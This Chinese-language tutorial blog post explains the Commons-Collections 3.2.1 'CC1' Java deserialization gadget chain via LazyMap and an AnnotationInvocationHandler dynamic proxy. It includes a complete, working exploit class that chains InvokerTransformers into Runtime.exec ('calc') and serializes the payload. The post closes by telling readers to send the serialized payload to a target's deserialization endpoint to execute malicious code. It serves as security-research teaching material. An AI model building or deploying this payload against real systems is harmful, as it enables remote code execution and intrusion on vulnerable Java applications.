本篇文章是基于CC1利用链的,本质其实都是一样,无非就是使用了LazyMap类的get方法来触发利用链,在看本篇文章之前,需要先弄明白CC1第一条链的原理,弄明白了第一条链,这条链相当于理解了百分之90。如果不明白CC1的第一条链,可以先阅读我的这篇文章:
https://blog.csdn.net/weixin_46367450/article/details/132274219
JDk <= jdk8u65
commons-collections <= 3.2.1
本教程环境:jdk1.7.0_75,commons-collections 版本为 3.2.1,maven(不做版本要求),开发工具IDEA(不做版本要求)
因为CC1链中需要用到 sun包下的
AnnotationInvocationHandler
类,然而官网下载的jdk7版本sun包下的源码为class文件,需要准备源码包,我已经提前下载好了源码包,并且放在了jdk1.7.0_75中,可以从这里下载然后按照下图所示配置直接使用:链接:https://pan.baidu.com/s/1wQjonrox8m6YroB8G24UYA?pwd=2mnm
打开Project Structure可以进入以下界面
在我的上一篇文章中CC1利用链EXP编写之源码分析,我带大家找到了这里CC1利用链的核心类InvokerTransformer,这个类里面实现了
Transformer接口,InvokerTransformer对象的transformer()可以实现对任意对象的任意方法进行反射调用,所以我们就需要往上找到谁调用了transformer方法,在上篇文章中找到的是TransformedMap类中有方法调用了transform(),本篇文章将通过LazyMap来利用,如图:
在LazyMap的get()方法中调用了transformer()方法:
所以我们可以继续往上查找,看看谁调用了get()方法:
经过查找,发现调用get()的地方太多了,于是查看网上的资料,发现依旧在AnnotationInvocationHandler类中存在:
在这个AnnotationInvocationHandler类中,我们发现有个invoke()方法,里面正好调用了get()方法,看到invoke()方法,我们可以想到动态代理,动态代理中的invoke()方法是容易导致漏洞利用的,因为一个代理对象不论调用哪个方法,都会默认调用InvocationHandlerd的invoke()方法,既然有默认调用,就容易导致漏洞利用,和反序列化中的默认调用readObject()方法有异曲同工之妙。
所以我们需要想办法调用其中的方法,我们再分析一下这个invoke()方法,想要走到get()方法,还是有条件的,条件就是调用的方法是无参的。
在readObject()方法中,正好调用的就是get()无参方法,而且memberValues是可以控制的,所以如果这个对象是Map类型的,Map类型又交给了一个动态代理,那么当动态代理调用get()方法之后,就会直接调用到InvocationHandler对象的invoke方法。如图:
因此最终反序列化的时候可以触发get()方法,接下来我们要做的就是构造动态代理,将AnnotationInvocationHandler作为InvocationHandler处理器:
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
//传入构造好的lazyMap
InvocationHandler h = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
//构造动态代理
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class}, h);
//将mapProxy传给构造方法进行实例化
Object o = constructor.newInstance(Retention.class, mapProxy);
然后将构造的动态代理作为参数利用反射使用AnnotationInvocationHandler的构造器创建实例,然后将返回结果序列化即可。
这个链其实和我上一篇文章的CC1链大致思路是一样的,主要特殊就在于利用了动态代理中自动调用InvocationHandler对象的invoke方法,从而调用到我们可以利用的get()方法。因此当我们发现InvocationHandler对象中的invoke()方法中具有我们可以利用的方法,比如上面讲到的get()方法,我们就可以做一个动态代理,将这个InvocationHandler作为动态代理的处理程序,当动态代理执行要代理对象的方法的时候,就会自动调用invoke()方法,那么动态代理要代理的对象是什么类型呢,由于readObject()中具有
memberValues.entrySet()
,并且memberValues是可控的,由于entrySet()方法是Map接口的方法,所以如果memberValues对象是Map类型的,那就可以调用,如果memberValues对象是动态代理对象,那么就可以调用invoke方法了。因此我们需要先构造一个InvocationHandler对象,然而AnnotationInvocationHandler对象正好实现了InvocationHandler,所以通过反射创建AnnotationInvocationHandler的实例即可,创建实例的时候第二个参数就传入LazyMap,然后将其放入动态代理中,并且动态代理要代理的接口设置为Map,如下代码:
//传入构造好的lazyMap InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap); //构造动态代理 Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
将创建好的动态代理对象传给AnnotationInvocationHandler对象,当AnnotationInvocationHandler对象进行反序列化的时候,就会调用到动态代理对象的entrySet()方法,进而调用动态代理中的InvocationHandler对象的invoker()方法,从而完成利用
/**
* @program: Java-反序列化
* @description:
* @author: yuan_boss
* @create: 2023-08-14 17:33
**/
public class CC1LazyMapEXP2{
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map map = new HashMap();
map.put("value","value");
Map lazyMap = LazyMap.decorate(map, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
//传入构造好的lazyMap
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Retention.class, lazyMap);
//构造动态代理
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, invocationHandler);
//将mapProxy传给构造方法进行实例化
Object o = constructor.newInstance(Retention.class, mapProxy);
ByteArrayOutputStream barr = serialize(o);
UnSerialize(barr);
}
public static ByteArrayOutputStream serialize(Object o) throws Exception{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(o);
System.out.println(barr);
return barr;
}
public static void UnSerialize(ByteArrayOutputStream barr) throws Exception{
ObjectInputStream oos = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = oos.readObject();
System.out.println(o);
}
}
找到需要反序列化的功能点,将我们序列化后的payload发送到功能点进行反序列化,然后就能形成CC1利用链,从而完成恶意代码执行。